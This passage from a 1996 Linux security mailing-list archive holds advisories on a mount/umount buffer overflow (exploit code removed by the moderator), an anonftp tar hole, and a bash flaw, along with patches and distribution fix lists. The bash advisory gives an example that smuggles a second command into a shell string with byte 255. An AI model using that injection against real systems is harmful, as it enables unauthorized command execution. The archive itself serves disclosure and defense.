have official patch-kits available are advised to install newly released NetKit-B-0.7 available from ftp://ftp.uk.linux.org/pub/linux/Networking/base and ftp://sunsite.unc.edu/pub/Linux/Incoming CREDITS This LSF Update is based on the information provided by Alan Cox. The first patch for rlogin program was provided by Marc Ewing of Red Hat Software. Ron Holt of Caldera Inc provided fixed RPM for Caldera Network Desktop within 3 hours after the initial contact. Adam J. Richter provided unofficial information about the unofficial fix-kit for Yggdrasil Plug and Play Linux Fall'95. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMf6EsYxFUz2t8+6VAQFDVAQAloKbM00wdzNCwcyo9Wz8wJo54a+TwYN6 Xua/PFBnhunCpJy/T0BOO/Dh1IBE/mCu2FSNMK/bkRXel6Om9lEzjDHlyeUizeBI enIAOWQvNBf0e+/lHJXXtCSIWNeSfSysCaP98Y7F6bouZc14l1d/PJg7eSmWikFG HhgcRl6ZyHM= =hG1l -----END PGP SIGNATURE----- linux-alert/linux-alert.9608100664 1767 1767 104026 6211674223 15227 0ustar majdommajdomFrom [email protected] Tue Aug 13 11:21:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA07547; Tue, 13 Aug 1996 11:21:22 -0400 Message-ID: <[email protected]> Date: Tue, 13 Aug 1996 06:49:55 +0200 From: bloodmask Organization: CoViN X-Mailer: Mozilla 3.0b5a (X11; I; Linux 2.0.0 i586) MIME-Version: 1.0 To: [email protected] CC: [email protected] Subject: [linux-alert] Vulnerability in ALL linux distributions Content-Type: multipart/mixed; boundary="------------3E2982D84A560D2D9A831FA" Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] This is a multi-part message in MIME format. --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings folks, Sorry we haven't released this thing sooner, due to testing we've conducted to determine vulnerability on other systems besides Linux, I've attached the officail release, Patch this up quick, and if I were you, I wouldn't trust those old binaries to be secure anymore, this thing has been with Linux since it's beggining, at it's high time this "feature" is removed. --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cvnmount.exploit" Covin Security Releases: (mount bufferoverflow exploit v1.0) Tested operated systems: All current distributions of Linux Affect: Local users on systems affected can gain overflow mounts syntax buffer and execute a shell by overwriting the stack. Affected binaries: (/bin/mount and /bin/umount) Workaround: On all current distributions of Linux remove suid bit of /bin/mount and /bin/umount. [chmod -s /bin/mount;chmod -s /bin/umount] Remarks: For gods sake, how many more times are we gonna see this kind of problem? It's been with Linux since it's very beggining, and it's so easy to exploit. Similiar buffer overflow vulnerabilities have been found in Linux distributions many times before, splitvt, dip, just to name a few examples. Any remarks, notes or other forms of feedback may be redirected to: [email protected] <------------------------------[ Cut here ]----------------------------------> /* Mount Exploit for Linux, Jul 30 1996 [Mod: Exploit removed for linux-alert posting; it's already been posted to linux-security and Bugtraq. This vulnerability is not new news, but since exploits are now being published I'm posting this to linux-alert for those that might not yet have gotten the news. --Jeff.] --------------3E2982D84A560D2D9A831FA-- From [email protected] Wed Aug 14 00:30:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id AAA03844; Wed, 14 Aug 1996 00:30:43 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Tue, 13 Aug 1996 16:31:37 -0400 (EDT) From: Elliot Lee To: [email protected] Subject: [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Recently a security hole was found in the mount program that comes with many Linux distributions, including Red Hat Linux. mount and umount are normally installed setUID root to allow users to perform mount and unmount operations. Unfortunately, they do not check the length of the information passed to them, creating a buffer overflow problem. For more details, visit the BugTraq mailing-list archives at http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html This hole allows anyone with an account on a system to obtain root access. Affected systems: - All systems running all versions of Red Hat Linux. Users of versions of Red Hat less than 3.0.3 are advised to upgrade to 3.0.3, since many other problems are fixed in the upgrade. If you are running: * Red Hat Linux 3.0.3 (Picasso) on the Intel architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/ util-linux-2.5-11fix.i386.rpm mount-2.5k-1.i386.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.3 (Picasso) on the Alpha architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/ util-linux-2.5-11fix.axp.rpm mount-2.5k-1.axp.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.4 (Rembrandt) beta on the Intel, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/ mount-2.5k-2.i386.rpm * Red Hat Linux 3.0.4 (Rembrandt) beta on the Sparc, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/ mount-2.5k-2.sparc.rpm [Aside: There is no difference between mount-2.5k-1 and -2 except the package format.] All RPMs are PGP-signed with the [email protected] key. The source RPMs will be available in the normal locations. MD5SUM's: ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm Thanks to Bloodmask, Vio, and others on the BugTraq list for discovering this hole and providing patches. --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhDmLCaSlK8942+NAQFc+QP+NnduJSfnrpXNMfPHBXPf11pNBvUKNfew kJ6GUVjXYePIDz6HxIpJWJsZF5u+t5yii5sfYkkVK1pPENMsjrAto2UWMklAF62p dxS3zgYjWfaH1AdG7U5e47huThBTmuyY/uwBmVf/jLtV2dqM1taRz9yqOTkm10o9 0Z7OylS10PY= =3lv/ -----END PGP SIGNATURE----- From [email protected] Mon Aug 19 19:10:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA10583; Mon, 19 Aug 1996 19:10:02 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Mon, 19 Aug 1996 18:54:35 -0400 (EDT) From: Elliot Lee Reply-To: Elliot Lee To: [email protected] cc: [email protected], [email protected] Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. -- Elliot Lee Red Hat Software, http://www.redhat.com/ From [email protected] Mon Aug 19 19:10:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA10595; Mon, 19 Aug 1996 19:10:08 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Mon, 19 Aug 1996 18:57:03 -0400 (EDT) From: Elliot Lee To: [email protected] cc: [email protected], [email protected] Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery -----BEGIN PGP SIGNED MESSAGE----- There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. - -- Elliot Lee Red Hat Software, http://www.redhat.com/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhjxQiaSlK8942+NAQEngAQAgQDpcY4zYyvegaYQrAx1pW9w2IEeHqE5 yyeRre2rUsWBKVjizDttz+JO130+/2cZjjG0bpDzKeZidkENZGkHzlIP+lQLDAuG jZ8rBqAdaEXmRUwZJzjwmEfBM218Z/W+fSrPj/w0CMqCn1THwJN4Vu6xaZ8TkxGf 2cI2lMO7XkQ= =qu3w -----END PGP SIGNATURE----- From [email protected] Sat Aug 24 19:23:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA31419; Sat, 24 Aug 1996 19:23:59 -0400 Date: Sat, 24 Aug 1996 19:18:51 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-alert] Security vulnerability in 'bash' X-Palindrome: O, memsahib Bart, rabbi has memo. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 21 August 1996 13:00 GMT Number: ERS-SVA-E01-1996:004.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: A variable declaration error in "bash" allows the character with value 255 decimal to be used as a command separator. PLATFORMS: Bash 1.14.6 and earlier versions. SOLUTION: Apply the patch provided below. THREAT: When used in environments where users provide strings to be used as commands or arguments to commands, "bash" can be tricked into executing arbitrary commands. =============================================================================== DETAILED INFORMATION I. Description A. Introduction The GNU Project's Bourne Again SHell ("bash") is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, but also includes additional functionality such as job control, command line editing, and history. Although "bash" can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The "bash" source code is freely available from many sites on the Internet. B. Vulnerability Details There is a variable declaration error in the "yy_string_get()" function in the "parser.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string," which has been declared to be of type "char *." The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int." On systems/compilers where the "char" type defaults to "signed char", this vaule will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to "bash" via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who." II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where "bash" has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is "bash," the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The "bash" built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solutions A. How to alleviate the problem This problem can be alleviated by changing the declaration of the "string" variable in the "yy_string_get()" function from "char *" to "unsigned char *." B. Official fix from the "bash" maintainers The "bash" maintainers have told us they plan to fix this problem in Version 2.0 of "bash," but this will not be released for at least a few more months. C. Unofficial fix until the official version is released Until the "bash" maintainers release Version 2.0, this problem can be fixed by applying the patch below to the "bash" source code, recompiling the program, and installing the new version. The patch below is for Version 1.14.6 of "bash." Source code for this version can be obtained from ftp://prep.ai.mit.edu/pub/gnu/bash-1.14.6.tar.gz as well as many other sites around the Internet. ---------------------------------- cut here ---------------------------------- *** parse.y.old Thu Nov 2 15:00:51 1995 --- parse.y Tue Aug 20 09:16:48 1996 *************** *** 904,910 **** static int yy_string_get () { ! register char *string; register int c; string = bash_input.location.string; --- 904,910 ---- static int yy_string_get () { ! register unsigned char *string; register int c; string = bash_input.location.string; ---------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the "bash" source directory, and issue the command patch < filename If you do not have the "patch" program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the "bash" program by following the directions in the "INSTALL" file, included as part of the "bash" distribution. This patch is provided "AS IS" without warranty of any kind, including, without limitation, any implied warranties of merchantibility or fitness for a particular purpose. This advisory does not create or imply any support obligations or any other liability on the part of IBM or its subsidiaries. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the patch to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based Internet security response service that includes computer security incident response and management, regular electronic verification of your Internet gateway(s), and security vulnerability alerts similar to this one that are tailored to your specific computing environment. By acting as an extension of your own internal security staff, IBM-ERS's team of Internet security experts helps you quickly detect and respond to attacks and exposures across your Internet connection(s). As a part of IBM's Business Recovery Services organization, the IBM Internet Emergency Response Service is a component of IBM's SecureWay(tm) line of security products and services. From hardware to software to consulting, SecureWay solutions can give you the assurance and expertise you need to protect your valuable business resources. To find out more about the IBM Internet Emergency Response Service, send an electronic mail message to [email protected], or call 1-800-742-2493 (Prompt 4). IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/. Visit the site for information about the service, copies of security alerts, team contact information, and other items. IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for security vulnerability alerts and other distributed information. The IBM-ERS PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html. "Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmerman. IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams (FIRST), a global organization established to foster cooperation and response coordination among computer security teams worldwide. Copyright 1996 International Business Machines Corporation. The information in this document is provided as a service to customers of the IBM Emergency Response Service. Neither International Business Machines Corporation, Integrated Systems Solutions Corporation, nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by IBM or its subsidiaries. The views and opinions of authors expressed herein do not necessarily state or reflect those of IBM or its subsidiaries, and may not be used for advertising or product endorsement purposes. The material in this security alert may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to IBM-ERS. This security alert may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- From [email protected] Tue Aug 27 05:05:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26413; Tue, 27 Aug 1996 05:05:52 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-alert] Re: [linux-security] RESOLV_HOST_CONF To: [email protected] (C. Hodges) Date: Mon, 26 Aug 1996 03:49:14 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "C. Hodges" at Aug 25, 96 02:37:19 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: special-delivery > >Real Patch isn't really available yet, from what i can see. You can modify > > *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and > others (?) fixed, but for some strange reason, he didn't bother to fix > finger tho... :\ The bug's in the library. The setuid programs in the current netkit contain a *workaround*. These are not fixes. Fixes are in the works. Be sure to update your netkit, though, as it fixes related bugs in telnetd that have the possibility of being quite serious. [You can use finger to read any file that you can already read yourself... Every single network tool will exhibit this "problem".] > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz ^^ just .org, not .co as well. And the official name is 'ftp.uk.linux.org' now anyway. > until a newer one comes out that patches finger, anyway... Don't hold your breath. :-) -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Fri Aug 30 19:26:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28994; Fri, 30 Aug 1996 19:26:09 -0400 Message-Id: <[email protected]> To: [email protected] cc: [email protected] Subject: [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 Date: Tue, 27 Aug 1996 17:57:21 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: special-delivery -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update mount/umount Vulnerability Mon Aug 26 21:46:49 EDT 1996 Copyright (C) 1995,1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official Update of the Linux Security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the mount/umount programs of the util-linux 2.5 package. If installed suid-to-root, these programs allow local users to gain super-user privileges. RISK ASSESSMENT Local users can gain root privileges. The exploits that exercise this vulnerability were made available. VULNERABILITY ANALYSIS mount/umount utilities from the util-linux 2.5 suffer from the buffer overrun problem. Installing mount/umount as suid-to-root programs is necessary to allow local users to mount and unmount removable media without having super-user privileges. If this feature is not required, it is recommended that suid bit is removed from both mount and umount programs. If this feature is required, one might want to consider the other ways of implementing it. Such approaches include but are not limited to using auto-mounter or sudo mechanism. DISTRIBUTION FIXES Red Hat Commercial Linux RedHat 2.1, RedHat 3.0.3 (Picasso) and RedHat 3.0.4 (Rembrandt) contain vulnerable umount utilities. Red Hat Software advises users of Red Hat 2.1 to upgrade to Red Hat 3.0.3 (Picasso) The replacement RPMs are available from the following URLs: Red Hat Linux 3.0.3 (Picasso) i386 architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/util-linux-2.5-11fix.i386.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/mount-2.5k-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm RedHat Linux 3.0.3 (Picasso) Alpha architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/util-linux-2.5-11fix.axp.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/mount-2.5k-1.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm RedHat Linux 3.0.4 Beta (Rembrandt) i386 architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/mount-2.5k-2.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm RedHat Linux 3.0.4 Beta (Rembrandt) SPARC architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/mount-2.5k-2.sparc.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm Please verify the MD5 fingerprint of the RPMs prior to installing them. ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm The Red Hat Software Inc notes that the only difference between mount-2.5k-1 and mount-2.5k-2 is in the packaging format. Caldera Network Desktop Caldera Network Desktop version 1.0 contains vulnerable mount and umount programs. Caldera Inc issued Caldera Security Advisory 96.04 where it recommends removing setuid bit from mount and umount commands using command chmod 755 /bin/mount /bin/umount. Users of Caldera Network Desktop 1.0 upgraded to RedHat 3.0.3 (Picasso) are advised to follow the instructions in the Red Hat Commercial Linux section of this LSF Update. Debian Debian/GNU Linux 1.1 contains the vulnerable mount/umount programs. The Debian Project provided the information that an updated package fixes this problem. The fix-kit can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/binary-i386/base/mount_2.5l-1.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb ftp://tarsier.cv.nrao.edu/linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb Please verify the MD5 signature of the RPM prior to installing the fix-kit 6672530030f9a6c42451ace74c7510ca mount_2.5l-1.deb WARNING: The message that contained information about MD5 hash of the mount_2.5l-1.deb package was not signed. We were unable to verify the integrity of the message. Slackware There is no official information available about vulnerability of Slackware 3.0 or Slackware 3.1 distributions from distribution maintainer. The testing indicates that both Slackware 3.0 and Slackware 3.1 distributions contains the vulnerable mount and umount programs. Until the official fix-kit for Slackware 3.0 and 3.1 becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Yggdrasil Yggdrasil Computing Inc neither confirmed not denied vulnerability of Plug and Play Fall'95 Linux. The testing indicates that Plug and Play Fall'95 Linux distribution contains the vulnerable mount and umount program. Until the official fix-kit for Yggdrasil Plug and Play Linux becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Other Linux Distributions It is believed at this moment that all Linux distributions using util-linux version 2.5 or prior to that contain the vulnerable mount and umount programs. Administrators of systems based on distributions not listed in this LSF Update or distributions that do not have fix-kits available at the moment are urged to contact their support centers requesting the fix-kits to be made available to them. In order to prevent the vulnerability from being exploited in the mean time, it is recommended that the suid bit is removed from mount and umount programs using command chmod u-s /bin/mount /bin/umount Until the official fix-kits are available for those systems, it is advised that system administrators obtain the source code of fixed mount program used in Debian/GNU Linux 1.1, compile it and replace the vulnerable binaries. The URLs for the source code of the Debian/GNU Linux 1.1 package which fixes the security problem of mount utility can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/source/base/mount_2.5l-1.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz Warning: We did not receive MD5 hash of the mount_2.5l-1.tar.gz file. CREDITS This LSF Update is based on the information originally posted to linux-alert. The information on the fix-kit for Red Hat commercial Linux was provided by Elliot Lee ([email protected]) or Red Hat Software Inc,; for the Caldera Network Desktop by Ron Holt of Caldera Inc.; for Debian/GNU Linux 1.1 by Guy Maor ([email protected]) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiNugoxFUz2t8+6VAQFyMgP+O6rJMZ8FHM2dyS+SY5D92837zjAwgMDk lNRaxrntFx/sZmyTpejERB1pu/uTRR+O2TJrB5s7mteLbB7wuuJNa38R4GuEBAOy 8dQ/pl+2vNQmqK7iwtMDGBNRda027tvBWO9vjxzqCKwHEiDSFQJ4hkM03oAwhmYi z1pegn80gsE= =zMIM -----END PGP SIGNATURE----- linux-alert/linux-alert.9609100664 1767 1767 150132 6220524427 15227 0ustar majdommajdomFrom [email protected] Mon Sep 16 12:33:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA08651; Mon, 16 Sep 1996 12:33:30 -0400 Resent-Date: Mon, 16 Sep 1996 12:19:56 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] X-Received: from cheetah.llnl.gov by dfw.dfw.net (4.1/SMI-4.1) id AA17826; Fri, 30 Aug 96 15:39:19 CDT X-Received: from cheetah.llnl.gov by cheetah.llnl.gov (8.7.5/LLNL-2.0) id NAA16956; Fri, 30 Aug 1996 13:40:32 -0700 (PDT) Originator: [email protected] X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas Mime-Version: 1.0 X-Mailer: Microsoft Internet Mail 4.70.1132 Message-ID: <[email protected]> From: Marcey Kelley To: 